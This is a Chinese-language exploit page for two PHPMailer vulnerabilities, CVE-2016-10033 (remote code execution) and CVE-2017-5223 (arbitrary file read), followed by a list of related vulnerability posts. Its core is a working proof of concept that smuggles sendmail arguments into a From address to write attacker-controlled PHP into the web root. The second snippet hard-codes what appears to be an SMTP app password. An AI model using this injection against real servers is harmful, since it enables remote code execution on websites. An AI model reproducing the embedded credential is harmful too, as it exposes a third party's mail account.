php mail执行命令,PHPMailer 命令执行 任意文件读取漏洞利用 【含POC】
PHPMailer 命令执行漏洞(CVE-2016-10033)
漏洞编号:CVE-2016-10033
影响版本:PHPMailer< 5.2.18
漏洞级别: 高危
漏洞POC:
PHPMailer < 5.2.18 Remote Code Execution (CVE-2016-10033)
A simple PoC (working on Sendmail MTA)
It will inject the following parameters to sendmail command:
Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t]
Arg no. 2 == [-i]
Arg no. 3 == [-fattacker\]
Arg no. 4 == [-oQ/tmp/]
Arg no. 5 == [-X/var/www/cache/phpcode.php]
Arg no. 6 == [some"@email.com]
which will write the transfer log (-X) into /var/www/cache/phpcode.php file.
The resulting file will contain the payload passed in the body of the msg:
<<< --b1_cb4566aa51be9f090d9419163e492306
<<< Content-Type: text/html; charset=us-ascii
<<<
<<< <?php phpinfo(); ?> 09607 <<<
<<<
<<<
<<< --b1_cb4566aa51be9f090d9419163e492306--
See the full advisory URL for details.
*/ // Attacker's input coming from untrusted source such as $_GET , $_POST etc. // For example from a Contact form $email_from = '"attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php some"@email.com';
$msg_body = "<?php phpinfo(); ?>"; // ------------------ // mail() param injection via the vulnerability in PHPMailer require_once('class.phpmailer.php');
$mail = new PHPMailer(); // defaults to using php "mail()" $mail->SetFrom($email_from, 'Client Name');
$address = "customer_feedback@company-X.com";
$mail->AddAddress($address, "Some User");
$mail->Subject = "PHPMailer PoC Exploit CVE-2016-10033";
$mail->MsgHTML($msg_body); if(!$mail->Send()) { echo "Mailer Error: " . $mail->ErrorInfo;
} else { echo "Message sent!\n";
}
PHPMailer任意文件读取漏洞分析(CVE-2017-5223)
漏洞编号: CVE-2017-5223
影响版本: PHPMailer <= 5.2.21
漏洞级别: 高危
漏洞POC:
#Author:Yxlink
require_once('PHPMailerAutoload.php');
$mail = new PHPMailer();
$mail->isSMTP();
$mail->Host = 'smtp.qq.com';
$mail->Port = 465;
$mail->SMTPAuth = true;
$mail->Username = xxxx@qq.com'; //qq邮箱
$mail->Password = 'zsuhxbmsaioxbcgb';//申请配置邮件客户端获取到的16位密码和qq密码不一样
$mail->SMTPSecure = 'ssl';
$mail->CharSet = "UTF-8";
$mail->Encoding = "base64";
$mail->Subject = "hello";
$mail->From = "xxxx@qq.com";
$mail->FromName = "test";
$address = "xxxx@qq.com";
$mail->AddAddress($address, "test");
$mail->AddAttachment('test.txt','test.txt');
$mail->IsHTML(true);
$msg="test";
$mail->msgHTML($msg);
if(!$mail->Send()) {
echo "Mailer Error: " . $mail->ErrorInfo;
} else {
echo "Message sent!";
}
?>
php mail执行命令,PHPMailer 命令执行 任意文件读取漏洞利用 【含POC】相关推荐
- 齐博CMSV7任意文件读取漏洞批量测试POC
注:本poc为自己编写,请勿用于非法用途,第一次写poc,如有不妥请联系我. # -*- coding:utf-8 -*-import requests import re import urllib ...
- 安全研究 | Jenkins 任意文件读取漏洞分析
欢迎大家前往腾讯云+社区,获取更多腾讯海量技术实践干货哦~ 本文由云鼎实验室 发表于云+社区专栏 一.漏洞背景 漏洞编号:CVE-2018-1999002 漏洞等级:高危 Jenkins 7 月 18 ...
- gitlab 更新文件_GitLab任意文件读取漏洞公告
2020年4月28日,GitLab的一个任意文件读取漏洞的漏洞细节被公开.该漏洞补丁于2020年3月26号由GitLab官方发布.深信服安全研究团队依据漏洞重要性和影响力进行评估,作出漏洞通告. 漏洞 ...
- 任意文件读取漏洞知识梳理
文章目录 1.概述 2.开发语言触发点 2.1 PHP 2.2 Python 2.3 Java 2.4 Ruby 2.5 Node 3.中间件/服务器相关触发点 3.1 Nginx错误配置 3.2 数 ...
- 《从0到1:CTFer成长之路》1.3 任意文件读取漏洞
文章目录 1.3.1 文件读取漏洞常见触发点 1.3.1.1 web语言 1. PHP 2.python 3.Java 4.Ruby 5.Node 1.3.1.2 中间件.服务件相关 1.Nginx错 ...
- mysql任意文件读取漏洞学习
前言 最近在做ctf题时发现关于mysql任意文件读取漏洞的考点非常频繁,而且一直都朦胧不清,也没去学习,在不久前的DDCTF和国赛,还有最近的Nu1lCTF中都考到了这个点,利用Load data ...
- GitLab任意文件读取漏洞复现(CVE-2020-10977)
0x00简介 GitLab 是一个用于仓库管理系统的开源项目,使用Git作为代码管理工具,并在此基础上搭建起来的web服务.GitLab是由GitLabInc.开发,使用MIT许可证的基于网络的Git ...
- Gitlab 任意文件读取漏洞 CVE-2016-9086 漏洞复现
Gitlab 任意文件读取漏洞(CVE-2016-9086) by ADummy 0x00利用路线 上传poc.tar.gz文件->读取到etc/passwd 0x01漏洞介绍 2018 ...
- 一、WillPHPv2代码审计-[变量覆盖]-[文件包含]-[任意文件读取漏洞]-[pearcmd裸文件包含]
时间戳--2021.12.12 0x01 [HXBCTF 2021]easywill_WriteUp: 一.PHPSTORM框架调试 第一步:登录buuctf,打开[HXBCTF 2021]easyw ...
最新文章
- Spring Security 3.1 自定义 authentication provider
- 【我的Android进阶之旅】Android自定义Lint实践
- js对html节点的操作
- java 正则表达式 中文数字和字母_Java中过滤出字母、数字和中文的正则表达式...
- codis配置_Codis的安装配置
- RandomAccessFile读写txt文件中文乱码
- 部署Nginx+Keepalived
- asp之发布给IIS
- MySQL常用的日期时间函数
- cmd命令提示符配置切换IP地址
- 思科路由器NAT配置案例(static tcp)
- origin柱状图坐标标签_origin菜鸟求助。如何做横坐标连续(如下图)的柱状图?...
- python 手机号码归属 ip地址查询
- Java 第十一次作业
- 揭秘中国球员十大豪宅
- 内网服务器设置proxy权限联通外网
- 《Effective Modern C++》翻译--条款2: 理解auto自动类型推导
- SQL员工基本工资表题目及答案
- HTML——表白树动画
- python绘制多边形的程序_Python – 绘制多边形
热门文章
- asp.net MVC:CheckBoxFor 绑定 nullablebool 类型
- 每天干攻防,都不会写驱动了
- 数据结构 平衡二叉树avl c++
- 移动互联网消息推送原理:长连接+心跳机制(MQTT协议)
- mysql 杂记(二)
- [转]HTTP协议之状态码详解
- perl脚本中的特殊字符也与V字符串
- java 加法程序_使用JAVAEE编写简单的加法程序
- python3 selenium ie 拒绝连接报错_python Selenium权限错误:[WinError 5]访问被拒绝
- sharepoint 2010报错问题集以及解决方法